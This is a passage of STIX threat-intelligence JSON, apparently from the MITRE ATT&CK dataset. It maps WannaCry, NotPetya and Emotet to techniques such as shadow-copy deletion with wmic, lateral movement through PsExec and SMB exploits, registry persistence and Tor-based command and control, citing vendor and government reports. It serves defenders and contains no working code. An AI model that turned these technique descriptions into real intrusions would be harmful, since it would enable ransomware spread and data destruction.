            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) creates the service \"mssecsvc2.0\" with the display name \"Microsoft Security Center (2.0) Service.\"(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)",
            "relationship_type": "uses",
            "id": "relationship--facd3eca-9156-47a8-85d1-09719bc0eb88",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.449Z",
            "created": "2019-03-26T13:38:24.603Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) attempts to copy itself to remote computers after gaining access via an SMB exploit.(Citation: LogRhythm WannaCry)",
            "relationship_type": "uses",
            "id": "relationship--fe78de3a-107f-4870-b5a1-c60289d68dec",
            "type": "relationship",
            "modified": "2020-03-20T19:13:29.137Z",
            "created": "2019-03-26T13:38:24.627Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                },
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) utilizes <code>wmic</code> to delete shadow copies.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--6ad5d5c8-b53e-417c-a574-3818269d1e85",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.450Z",
            "created": "2019-03-26T13:38:24.630Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic and routes a custom cryptographic protocol over the [Tor](https://attack.mitre.org/software/S0183) circuit.(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--d9bfa498-69a1-44f9-8e44-67a6a4c48088",
            "type": "relationship",
            "modified": "2020-04-29T22:25:05.277Z",
            "created": "2019-03-26T13:38:24.635Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "external_references": [
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic.(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--cf498579-a7c9-4d06-949b-fb75bf762990",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.510Z",
            "created": "2019-03-26T13:38:24.662Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Talos Nyetya June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) creates a task to reboot the system one hour after infection.(Citation: Talos Nyetya June 2017)",
            "relationship_type": "uses",
            "id": "relationship--3258c355-677c-452d-b1fc-27767232437b",
            "type": "relationship",
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            "external_references": [
                {
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "source_name": "Talos Nyetya June 2017"
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
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            "relationship_type": "uses",
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                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) uses <code>rundll32.exe</code> to install itself on remote systems when accessed via [PsExec](https://attack.mitre.org/software/S0029) or <code>wmic</code>.(Citation: Talos Nyetya June 2017)",
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            "id": "relationship--cfde6757-e167-4792-a7ba-f40520f7d136",
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                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "source_name": "Talos Nyetya June 2017"
                },
                {
                    "source_name": "US-CERT NotPetya 2017",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                },
                {
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
                    "source_name": "US-CERT NotPetya 2017"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) contains a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to help gather credentials that are later used for lateral movement.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: NCSC Joint Report Public Tools)",
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                    "source_name": "Talos Nyetya June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                },
                {
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
                    "source_name": "US-CERT NotPetya 2017"
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use valid credentials with [PsExec](https://attack.mitre.org/software/S0029) or <code>wmic</code> to spread itself to remote systems.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)",
            "relationship_type": "uses",
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                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                },
                {
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
                    "source_name": "US-CERT NotPetya 2017"
                },
                {
                    "url": "http://windowsitpro.com/systems-management/psexec",
                    "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.",
                    "source_name": "PsExec Russinovich"
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029), which interacts with the <code>ADMIN$</code> network share to execute commands on remote systems.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: PsExec Russinovich)",
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                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                },
                {
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
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                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use <code>wmic</code> to help propagate itself across a network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)",
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                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                },
                {
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
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                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)",
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                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "source_name": "Talos Nyetya June 2017"
                },
                {
                    "source_name": "US-CERT NotPetya 2017",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) drops [PsExec](https://attack.mitre.org/software/S0029) with the filename dllhost.dat.(Citation: Talos Nyetya June 2017)",
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            "id": "relationship--ab372993-3d63-4ca3-a064-e4b5820d8970",
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                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed adding the downloaded payload to the <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> key to maintain persistence.(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Picus Emotet Dec 2018)",
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                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."
                },
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed injecting in to Explorer.exe and other processes. (Citation: Picus Emotet Dec 2018)(Citation: Trend Micro Banking Malware Jan 2019)(Citation: US-CERT Emotet Jul 2018)",
            "relationship_type": "uses",
            "id": "relationship--e834920f-bc30-458e-b56e-80947d3a7c6e",
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        {
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            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Red Canary Emotet Feb 2019",
                    "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/",
                    "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019."
                },
                {
                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
                    "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/",
                    "source_name": "Carbon Black Emotet Apr 2019"
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has used Powershell to retrieve the malicious payload and download additional resources like [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: Symantec Emotet Jul 2018)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019)(Citation: Carbon Black Emotet Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--7b458295-8e67-4f1f-acde-3316ae2e061e",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.581Z",
            "created": "2019-03-26T17:48:52.143Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has maintained persistence through a scheduled task. (Citation: US-CERT Emotet Jul 2018)",
            "relationship_type": "uses",
            "id": "relationship--7a28c0d9-28cf-4881-b8a5-8d779eb76e0d",
            "type": "relationship",
            "modified": "2020-03-28T21:33:48.333Z",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Secureworks Emotet Nov 2018",
                    "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader",
                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed creating new services to maintain persistence. (Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018) ",
            "relationship_type": "uses",
            "id": "relationship--eba0a033-02a9-45e8-a1a1-27df73d6442b",
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        },
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            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "external_references": [
                {
                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed to hook network APIs to monitor network traffic. (Citation: Trend Micro Banking Malware Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--aa6d74b0-3db2-4679-bf1c-03d3dd7561b0",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.590Z",
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        },
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            ],
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            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "external_references": [
                {
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "source_name": "Symantec Emotet Jul 2018"
                },
                {
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "source_name": "US-CERT Emotet Jul 2018"
                },
                {
                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.",
                    "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader",
                    "source_name": "Secureworks Emotet Nov 2018"
                },
                {
                    "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.",
                    "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/",
                    "source_name": "Red Canary Emotet Feb 2019"
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation. (Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Red Canary Emotet Feb 2019) ",
            "relationship_type": "uses",
            "id": "relationship--6cb2f741-eedb-4b1d-8d84-7823f0095d44",
            "type": "relationship",
            "modified": "2020-11-24T20:15:55.399Z",
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        },
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            ],
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            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "external_references": [
                {
                    "source_name": "Malwarebytes Emotet Dec 2017",
                    "url": "https://support.malwarebytes.com/docs/DOC-2295",
                    "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) leverages the Admin$ share for lateral movement once the local admin password has been brute forced. (Citation: Malwarebytes Emotet Dec 2017) ",
            "relationship_type": "uses",
            "id": "relationship--1bc150db-66ca-4361-84a2-2dd0f104790f",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.593Z",
            "created": "2019-03-26T19:23:01.984Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "external_references": [
                {
                    "source_name": "Kaspersky Emotet Jan 2019",
                    "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/",
                    "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Sophos Emotet Apr 2019",
                    "url": "https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/",
                    "description": "Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed communicating over non standard ports, including 7080 and 50000.(Citation: Kaspersky Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Sophos Emotet Apr 2019)(Citation: Talos Emotet Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--8cc5a418-1956-4d64-a720-2258ad02533f",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.620Z",
            "created": "2019-03-26T19:23:02.002Z"
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            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) is known to use RSA keys for encrypting C2 traffic. (Citation: Trend Micro Emotet Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--095a259d-79c7-42b0-b65a-e423f110d187",
            "type": "relationship",
            "modified": "2020-03-20T23:22:03.080Z",
            "created": "2019-03-26T19:23:02.007Z"
        },
        {
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            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "external_references": [
                {
                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Kaspersky Emotet Jan 2019",
                    "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/",
                    "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019."
                },
                {
                    "source_name": "CIS Emotet Apr 2017",
                    "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/",
                    "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Malwarebytes Emotet Dec 2017",
                    "url": "https://support.malwarebytes.com/docs/DOC-2295",
                    "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing links. (Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Talos Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--382b8780-edc3-477f-a7fa-3e6ba62397a2",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.858Z",
            "created": "2019-03-26T19:23:02.037Z"
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        {
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            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "CIS Emotet Apr 2017",
                    "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/",
                    "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Malwarebytes Emotet Dec 2017",
                    "url": "https://support.malwarebytes.com/docs/DOC-2295",
                    "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."
                },
                {
